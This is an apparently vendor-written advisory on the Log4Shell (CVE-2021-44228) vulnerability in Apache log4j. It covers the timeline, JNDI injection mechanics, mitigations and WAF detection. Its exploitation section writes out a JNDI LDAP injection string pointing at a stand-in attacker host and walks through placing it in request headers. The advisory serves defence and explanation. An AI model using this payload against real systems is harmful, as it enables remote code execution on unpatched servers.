On December 9, the Apache Foundation released log4j version 2.15.0 as an emergency update for a critical vulnerability in the log4j2 library.
Read the Complete Alert
CVE-2021-44228
On December 9, the Apache Foundation released log4j version 2.15.0 as an emergency update for a critical vulnerability in the log4j2 library. The vulnerability could allow a remote attacker to execute arbitrary code on a system with software using the log4j2 Java library to log information and messages.
Many software and online services based on Java leverage the log4j open source logging utility, experts estimate the vulnerability to affect millions of applications. It is important to note that not all software using Java is vulnerable. Moreover, not all software using log4j is vulnerable, only software enabling and leveraging log4j message lookup substitution. From log4j 2.15.0, message lookup substitution is disabled by default.
The vulnerability was initially reported through Minecraft gaming sites. The sites were warning that threat actors could execute malicious code on servers and clients running the Java version of Minecraft by manipulating log messages via well-crafted chat messages. The security community quickly realized that the root cause was deeper and it had a far wider impact than just Minecraft. On December 9, the vulnerability started tacking as CVE-2021-44228 and coined as Log4Shell.
Later on December 9th, security firm Cyber Kendra reported a Log4j RCE zero day being dropped on the internet. While the log4j vulnerability was a new discovery, exploiting Java deserialization and Java Naming and Directory Interface (JNDI) injection through marshaling exploits was not. Given a good amount of documentation and tools to perform JNDI injection attacks lingering on the internet, it did not take long before in-the-wild scanning and exploit activity was detected.
Radware web application security solutions - AppWall and Cloud WAF Service – detect and block Log4Shell activity from day one as Server Side Request Forgeries. Between December 9, 6pm UTC and December 12, 12pm UTC, several thousands of attempts were detected.
Figure 1: Cloud WAF Blocked Exploits (per hour)
Background
The Log4Shell vulnerability is a JNDI injection exploit. The JNDI API provides discovery and lookup of resources by name and returns the result in the form of serialized Java objects. JNDI provides a Service Provider Interface (SPI) for flexible implementation of the backend naming and directory service protocols. To select the service provider, JNDI follows a URI format allowing provider and name to be specified during the request.
Figure 2: JNDI API and Service Provider Interface (SPI) [source: Oracle]
When message lookup substitution is enabled, Log4j can be instructed to perform a JNDI lookup by an attacker who can control log messages or log message parameters. Both LDAP and RMI JNDI service implementations return a serialized Java object that can lead to a Java deserialization attack. There is also a JNDI reference mechanism that allows the indirect construction of Java objects through factories such as Apache XBean BeanFactory.
JNDI injection attacks are nothing new and while RMI had support for remote codebases disabled since Java 8u121 by defaulting com.sun.jndi.rmi.object.trustURLCodebase to false. LDAP remote codebase was still allowed until JDK versions 6u211, 7u201, 8u191, and 11.0.1. In these more recent versions, the com.sun.jndi.ldap.object.trustURLCodebase is set to false by default to prevent JNDI from loading remote code through LDAP. JNDI lookups can also be disabled in log4j releases 2.1.0 and later by setting the system property log4j2.formatMsgNoLookups to true.
Exploiting Log4Shell
Exploiting the Remote Command Execution (RCE) is not as seamless compared to many known RCE that allow shell code to be injected directly into HTTP requests. An attacker will need to trigger log4j to query a remote service, which in turn will need to return the location of a malicious Java object that will result in command execution upon deserialization.
Imagine a web application using log4j to log submitted requests and header fields. An attacker could leverage the web application and log4j vulnerability to perform a JNDI injection attack. In step (1) in Figure 3, an attacker forges an HTTP GET request with encoded JNDI LDAP ‘${jndi:ldap://attacker.org:389/exploit}’ as a query parameter 'q', as 'user-agent' and as 'referer' HTTP header fields. The most apparent candidates for logging in web applications are URL encoded parameters, HTTP header fields and form fields. Form fields are application and page dependent, which means that random scan and exploit activity will mostly be leveraging generic HTTP parameters and frequently logged header fields such as 'User-Agent' and 'Referer'.
In (2), the web server passes the parameters and header variables to the application. In (3), the application uses for example the log4j info() call to log, for example, the User-Agent header field. Log4j receives the message and evaluates the JNDI expression ‘jndi:ldap://attacker.org:389/exploit’ resulting in a LDAP query for ‘dn=exploit’ to server ‘attacker.org’ in step (4).
Figure 3: Remote command exection attack leveraging Log4Shell vulnerability [source: Radware]
The LDAP server, owned by the attacker, on host ‘attacker.org’, will receive the request and in step (5) responds with the object location that contains the result of the lookup. In (6) log4j requests the remote object from the web service on attacker.org, which responds in step (7) with a serialized Java object payload. The payload leverages a Java object deserialization vulnerability which in step (9) will result in the execution of the remote command in user context of the web application.